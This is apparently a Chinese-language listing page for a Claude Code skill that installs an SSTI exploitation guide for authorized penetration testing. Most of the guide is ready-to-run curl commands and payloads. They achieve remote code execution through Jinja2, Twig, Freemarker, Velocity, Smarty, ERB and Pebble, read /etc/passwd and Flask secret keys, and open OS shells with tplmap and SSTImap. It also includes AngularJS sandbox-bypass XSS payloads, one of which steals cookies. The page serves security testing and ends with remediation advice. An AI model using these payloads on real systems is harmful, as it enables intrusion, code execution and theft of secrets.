关于 exploiting-template-injection-vulnerabilities
用于授权测试中发现和评估服务端及客户端模板注入的安全测试技能,指导识别模板引擎、测试载荷并使用常见 SSTI 工具。
主要功能
- 01查找模板注入点
- 02根据响应识别模板引擎
- 03测试服务端注入载荷
- 04评估客户端模板注入
- 05使用 tplmap 和 SSTImap
适用场景
- 01测试用户可编辑的邮件模板
- 02评估 CMS 或报告模板输入
- 03检查反射请求路径的错误页是否存在 SSTI
- 04评估客户端模板表达式
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-template-injection-vulnerabilities安装后在 Claude Code 中输入/exploiting-template-injection-vulnerabilities确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
利用模板注入漏洞
适用场景
- 在获得授权的渗透测试中,用户输入通过服务端模板引擎渲染时
- 测试包含用户提供数据的错误页面、邮件模板、PDF 生成器或报告生成器时
- 评估允许用户自定义模板或通知消息的应用时
- 在参数中识别潜在的 SSTI,这些参数会回显算术运算结果(例如,
{{7*7}}返回49) - 对 CMS 平台、营销工具或任何具有模板功能的应用进行安全评估时
前置条件
- 授权:包含 RCE 测试范围的书面渗透测试协议
- Burp Suite Professional:用于拦截和修改模板参数
- tplmap:自动化 SSTI 利用工具(
git clone https://github.com/epinna/tplmap.git) - SSTImap:现代化 SSTI 扫描器(
pip install sstimap) - curl:用于手动测试 SSTI payload
- 模板引擎知识:Jinja2、Twig、Freemarker、Velocity、Mako、Pebble、ERB、Smarty
工作流
步骤 1:识别模板注入点
查找用户输入由模板引擎处理的参数。
# Inject mathematical expressions to detect template processing
# If the server evaluates the expression, SSTI may be present
# Universal detection payloads
PAYLOADS=(
'{{7*7}}' # Jinja2, Twig
'${7*7}' # Freemarker, Velocity, Spring EL
'#{7*7}' # Thymeleaf, Ruby ERB
'<%= 7*7 %>' # ERB (Ruby), EJS (Node.js)
'{7*7}' # Smarty
'{{= 7*7}}' # doT.js
'${{7*7}}' # AngularJS/Spring
'#set($x=7*7)$x' # Velocity
)
for payload in "${PAYLOADS[@]}"; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
echo -n "$payload -> "
curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
done
# Check common injection locations:
# - Error pages with reflected input
# - Profile fields (name, bio, signature)
# - Email subject/body templates
# - PDF/report generation with custom fields
# - Search results pages
# - 404 pages reflecting the URL path
# - Notification templates
步骤 2:识别模板引擎
确定正在使用的模板引擎,以选择适当的利用技术。
# Decision tree for engine identification:
# {{7*'7'}} => 7777777 = Jinja2 (Python)
# {{7*'7'}} => 49 = Twig (PHP)
# ${7*7} => 49 = Freemarker/Velocity (Java)
# #{7*7} => 49 = Thymeleaf (Java)
# <%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)
# Test Jinja2 vs Twig
curl -s "https://target.example.com/page?name={{7*'7'}}"
# 7777777 = Jinja2
# 49 = Twig
# Test for Jinja2 specifically
curl -s "https://target.example.com/page?name={{config}}"
# Returns Flask config = Jinja2/Flask
# Test for Freemarker
curl -s "https://target.example.com/page?name=\${.now}"
# Returns date/time = Freemarker
# Test for Velocity
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
# Returns 1 = Velocity
# Test for Smarty
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
# Returns test = Smarty
# Test for Pebble
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
# Returns class info = Pebble
# Use tplmap for automated engine detection
python3 tplmap.py -u "https://target.example.com/page?name=test"
步骤 3:利用 Jinja2(Python/Flask)
通过 Jinja2 模板注入实现代码执行。
# Read configuration
curl -s "https://target.example.com/page?name={{config.items()}}"
# Access secret key
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"
# RCE via Jinja2 - method 1: accessing os module through MRO
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# RCE via Jinja2 - method 2: using cycler
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# RCE via Jinja2 - method 3: using lipsum
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# File read via Jinja2
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# Enumerate available subclasses to find useful ones
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
步骤 4:利用 Twig(PHP)、Freemarker(Java)及其他引擎
使用针对特定引擎的 payload 进行利用。
# --- Twig (PHP) ---
# RCE via Twig
curl -s "https://target.example.com/page?name={{['id']|filter('system')}}"
curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"
# Twig file read
curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}"
# --- Freemarker (Java) ---
# RCE via Freemarker
curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}"
# Alternative Freemarker RCE
curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}"
# --- Velocity (Java) ---
# RCE via Velocity
curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)"
# --- Smarty (PHP) ---
# RCE via Smarty
curl -s "https://target.example.com/page?name={system('id')}"
# --- ERB (Ruby) ---
# RCE via ERB
curl -s "https://target.example.com/page?name=<%25=%20system('id')%20%25>"
# --- Pebble (Java) ---
# RCE via Pebble
curl -s "https://target.example.com/page?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}"
步骤 5:使用 tplmap 和 SSTImap 自动化
使用自动化工具进行全面测试和利用。
# tplmap - Automated SSTI exploitation
python3 tplmap.py -u "https://target.example.com/page?name=test" --os-shell
# tplmap with POST parameter
python3 tplmap.py -u "https://target.example.com/page" -d "name=test" --os-cmd "id"
# tplmap with custom headers
python3 tplmap.py -u "https://target.example.com/page?name=test" \
-H "Cookie: session=abc123" \
-H "Authorization: Bearer token" \
--os-cmd "whoami"
# SSTImap
sstimap -u "https://target.example.com/page?name=test"
sstimap -u "https://target.example.com/page?name=test" --os-shell
# tplmap file read
python3 tplmap.py -u "https://target.example.com/page?name=test" \
--download "/etc/passwd" "/tmp/passwd"
# Burp Intruder approach:
# 1. Send request to Intruder
# 2. Mark the injectable parameter
# 3. Load SSTI payload list
# 4. Grep for indicators: "49", error messages, class names
步骤 6:测试客户端模板注入(CSTI)
评估客户端模板中的 Angular/Vue/React 表达式注入。
# AngularJS expression injection
curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}"
# AngularJS sandbox bypass (pre-1.6)
curl -s "https://target.example.com/page?name={{a]constructor.prototype.charAt=[].join;[\$eval('a]alert(1)//')]()}}"
# Vue.js expression injection
curl -s "https://target.example.com/page?name={{_c.constructor('alert(1)')()}}"
# Check for AngularJS ng-app on the page
curl -s "https://target.example.com/" | grep -i "ng-app\|angular\|vue\|v-"
# Test with different CSTI payloads
for payload in '{{7*7}}' '{{constructor.constructor("return this")()}}' \
'{{$on.constructor("alert(1)")()}}'; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
echo -n "$payload: "
curl -s "https://target.example.com/search?q=$encoded" | grep -oP "49|alert|constructor"
done
核心概念
| 概念 | 描述 |
|---|---|
| SSTI | 服务端模板注入 - 注入在服务端执行的模板指令 |
| CSTI | 客户端模板注入 - 将表达式注入 AngularJS/Vue 模板(导致 XSS) |
| 模板引擎 | 处理带有占位符的模板文件,并用数据替换它们的软件 |
| 沙箱逃逸 | 绕过模板引擎的安全限制以访问危险函数 |
| MRO(方法解析顺序) | 在 Jinja2 利用中用于遍历 Python 类层次结构 |
| 对象内省 | 使用 __class__、__subclasses__()、__globals__ 来遍历 Python 对象 |
| 盲 SSTI | 输出不直接可见的模板注入,需要 OOB 技术 |
工具与系统
| 工具 | 用途 |
|---|---|
| tplmap | 自动化 SSTI 检测和利用,具备 OS shell 能力 |
| SSTImap | 现代化 SSTI 扫描器,支持多种模板引擎 |
| Burp Suite Professional | 请求拦截和 Intruder 用于 payload 模糊测试 |
| Hackvertor(Burp 扩展) | 用于绕过技术的 payload 编码和转换 |
| PayloadsAllTheThings | GitHub 上全面的 SSTI payload 参考 |
| OWASP ZAP | 主动扫描模式下的自动化 SSTI 检测 |
常见场景
场景 1:Flask 邮件模板注入
一个 Flask 应用允许用户自定义邮件通知模板。自定义模板在未启用沙箱的情况下通过 Jinja2 渲染,允许通过 {{config.items()}} 和子类遍历实现 RCE。
场景 2:Java CMS Freemarker 注入
一个基于 Java 的 CMS 允许管理员使用 Freemarker 编辑页面模板。一个权限较低的编辑注入 <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} 来执行命令。
场景 3:错误页面 SSTI
一个自定义 404 错误页面通过 Twig 模板回显请求的 URL 路径。请求 /{{['id']|filter('system')}} 会导致服务器执行 id 命令。
场景 4:AngularJS 客户端注入
搜索页面使用 AngularJS 的 ng-bind-html 渲染结果。搜索 {{constructor.constructor('alert(document.cookie)')()}} 可通过 AngularJS 表达式求值实现 XSS。
输出格式
## Template Injection Finding
**Vulnerability**: Server-Side Template Injection (Jinja2) - RCE
**Severity**: Critical (CVSS 9.8)
**Location**: GET /page?name= (name parameter)
**Template Engine**: Jinja2 (Python 3.9 / Flask 2.3)
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. Send GET /page?name={{7*7}} - Response contains "49" confirming SSTI
2. Send GET /page?name={{config.SECRET_KEY}} - Returns Flask secret key
3. Send GET /page?name={{cycler.__init__.__globals__.os.popen('id').read()}}
4. Server returns: uid=33(www-data) gid=33(www-data)
### Confirmed Impact
- Remote code execution as www-data user
- Secret key disclosure: Flask SECRET_KEY exposed
- File system read: /etc/passwd, application source code
- Potential lateral movement to internal network
### Recommendation
1. Never pass user input directly to template render functions
2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)
3. Implement strict input validation and allowlisting for template variables
4. Use logic-less template engines (Mustache, Handlebars) where possible
5. Apply least-privilege OS permissions for the web application user
评论
支持 Markdown